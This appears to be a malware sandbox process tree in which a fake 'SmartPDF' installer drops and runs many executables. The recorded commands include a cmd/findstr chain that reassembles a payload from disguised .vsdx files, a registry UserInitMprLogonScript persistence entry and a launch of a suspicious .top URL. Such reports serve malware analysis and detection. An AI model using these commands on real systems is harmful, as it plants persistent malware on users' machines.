C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1256 /prefetch:14⤵PID:5740
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:14⤵PID:6208
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:14⤵
- Enumerates connected drives
PID:4964
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:14⤵PID:2640
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:14⤵PID:3328
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4040 /prefetch:14⤵PID:3340
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4392 /prefetch:14⤵PID:656
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6824 /prefetch:14⤵PID:5468
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=5172 /prefetch:84⤵PID:7648
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6580 /prefetch:14⤵PID:6612
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6688 /prefetch:14⤵PID:2032
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6612 /prefetch:14⤵PID:1436
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:14⤵
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6632
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7104 /prefetch:14⤵PID:5520
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:14⤵PID:7852
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:14⤵PID:6112
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:14⤵PID:4728
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:14⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Checks processor information in registry
- Enumerates system info in registry
PID:504
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4940 /prefetch:14⤵PID:5904
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6876 /prefetch:14⤵PID:5560
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:14⤵PID:1728
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:14⤵PID:6788
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6740 /prefetch:14⤵PID:2600
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:14⤵PID:6364
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:14⤵PID:3792
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:14⤵PID:6700
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6908 /prefetch:84⤵PID:4372
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=216 /prefetch:14⤵PID:6568
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:14⤵PID:4872
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4064 /prefetch:84⤵PID:7940
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5792 /prefetch:14⤵PID:7500
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7160 /prefetch:14⤵PID:3848
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1648 /prefetch:14⤵PID:2340
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6312 /prefetch:14⤵PID:7424
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5044 /prefetch:84⤵PID:7616
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4020 /prefetch:14⤵PID:4100
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6192 /prefetch:14⤵PID:5352
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6416 /prefetch:14⤵PID:6000
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent3⤵PID:5788
-
C:\Users\Admin\AppData\Local\Temp\is-5NQUP.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-5NQUP.tmp\stats.tmp" /SL5="$30334,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:444
-
-
-
C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2544 -
C:\Users\Admin\AppData\Local\Temp\BSKR.exe"C:\Users\Admin\AppData\Local\Temp\BSKR.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5532 -
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe5⤵PID:3972
-
-
C:\Users\Admin\AppData\Local\Temp\BSKR.exeC:\Users\Admin\AppData\Local\Temp\BSKR.exe5⤵PID:4056
-
-
-
C:\Users\Admin\AppData\Local\Temp\Mortician.exe"C:\Users\Admin\AppData\Local\Temp\Mortician.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2092 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c cmd < Cerchia.vsdx5⤵PID:1556
-
C:\Windows\SysWOW64\cmd.execmd6⤵PID:2696
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx7⤵PID:5908
-
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comImpedire.exe.com I7⤵PID:1892
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I8⤵PID:3956
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I9⤵PID:6120
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I10⤵PID:2500
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I11⤵PID:2036
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I12⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2008 -
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I13⤵PID:5284
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I14⤵
- Executes dropped EXE
PID:5844 -
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I15⤵PID:3356
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I16⤵PID:4428
-
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I17⤵
- Suspicious use of AdjustPrivilegeToken
PID:5496 -
C:\Users\Admin\AppData\Roaming\Impedire.exe.comC:\Users\Admin\AppData\Roaming\Impedire.exe.com I18⤵
- Suspicious use of SetThreadContext
PID:1500 -
C:\Users\Admin\AppData\Roaming\RegAsm.exeC:\Users\Admin\AppData\Roaming\RegAsm.exe19⤵PID:3848
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Runs ping.exe
PID:5024
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\foradvertising.exe"C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws14⤵PID:5076
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 2365⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2248
-
-
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe"4⤵PID:3256
-
C:\Users\Admin\AppData\Local\Temp\gdgame.exe"C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a5⤵PID:4712
-
-
-
C:\Users\Admin\AppData\Local\Temp\installer.exe"C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"4⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:2500
-
-
C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe"C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7214⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\is-2FEPQ.tmp\IBInstaller_74449.tmp"C:\Users\Admin\AppData\Local\Temp\is-2FEPQ.tmp\IBInstaller_74449.tmp" /SL5="$30232,14713126,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 7215⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:5640 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-B53OV.tmp\{app}\microsoft.cab -F:* %ProgramData%6⤵PID:5332
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-B53OV.tmp\{app}\microsoft.cab -F:* C:\ProgramData7⤵
- Drops file in Windows directory
PID:6120
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f6⤵PID:5300
-
C:\Windows\SysWOW64\reg.exereg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f7⤵PID:4008
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-B53OV.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-B53OV.tmp\{app}\vdi_compiler"6⤵PID:4928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4928 -s 2367⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5512
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^¶m=7216⤵PID:4944
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq&cid=74449¶m=7217⤵PID:5736
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b747188⤵PID:1180
-
-
-
-
C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5096
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vpn.exe"C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=7204⤵PID:4504
-
C:\Users\Admin\AppData\Local\Temp\is-M7MVK.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-M7MVK.tmp\vpn.tmp" /SL5="$7024C,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=7205⤵PID:6088
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "6⤵PID:5284
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09017⤵PID:4144
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "6⤵PID:6680
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09017⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies system certificate store
PID:6744
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall6⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5700
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install6⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6668
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe"C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe" SID=717 CID=717 SILENT=1 /quiet4⤵
- Enumerates connected drives
- Modifies system certificate store
PID:5968 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966921 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"5⤵PID:2980
-
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"4⤵PID:7024
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 17525⤵
- Program crash
- Checks processor information in registry
PID:236
-
-
-
C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"4⤵PID:3004
-
C:\Users\Admin\Documents\pZoQThYDob5t4Ix2rB1_DlxP.exe"C:\Users\Admin\Documents\pZoQThYDob5t4Ix2rB1_DlxP.exe"5⤵PID:5080
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5080 -s 1966⤵
- Program crash
PID:2152
-
-
-
C:\Users\Admin\Documents\TWioPEyoWJt57C6vNf93EWYK.exe"C:\Users\Admin\Documents\TWioPEyoWJt57C6vNf93EWYK.exe"5⤵PID:6624
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6624 -s 2926⤵
- Program crash
- Checks processor information in registry
PID:6872
-
-
-
C:\Users\Admin\Documents\tk8rRu89mOJWyjw1flTJIOnh.exe"C:\Users\Admin\Documents\tk8rRu89mOJWyjw1flTJIOnh.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6660
-
-
C:\Users\Admin\Documents\kgEnazqjVvueBhAkKmpYxP9B.exe"C:\Users\Admin\Documents\kgEnazqjVvueBhAkKmpYxP9B.exe"5⤵PID:5288
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5288 -s 18326⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1868
-
-
-
C:\Users\Admin\Documents\0otBSeXvo5iuehHOgmCsCjzh.exe"C:\Users\Admin\Documents\0otBSeXvo5iuehHOgmCsCjzh.exe"5⤵PID:6072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6072 -s 2446⤵
- Executes dropped EXE
- Program crash
